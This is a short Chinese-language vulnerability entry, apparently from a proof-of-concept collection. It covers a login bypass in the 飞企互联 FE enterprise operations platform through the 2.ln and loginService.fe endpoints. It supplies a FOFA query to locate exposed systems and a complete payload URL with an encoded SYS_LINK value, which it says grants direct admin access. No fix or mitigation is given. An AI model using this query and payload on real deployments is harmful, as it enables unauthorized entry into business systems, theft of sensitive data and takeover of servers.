F1-8飞企互联-FE企业运营管理平台-PermissionAC

漏洞描述：

飞企互联-FE企业运营管理平台 2.ln、loginService.fe等接口处存在登录绕过漏洞，未授权的攻击者可构造恶意的url访问页面，可直接进入后台管理页面，获取敏感信息，进一步利用可控制整个服务器。

网站图片:

网络测绘:

fofa语法：

FOFA：app=“飞企互联-FE企业运营管理平台”

漏洞复现:

payload：

http://your-ip//2.ln?SYS_LINK=456d704642784968706357306d6b357a6a75565368782f56714e39576f6d35455a55526d7353676754524a76375868576d65684b703234514453413450446942

效果图:
直接拼接url即可进入后台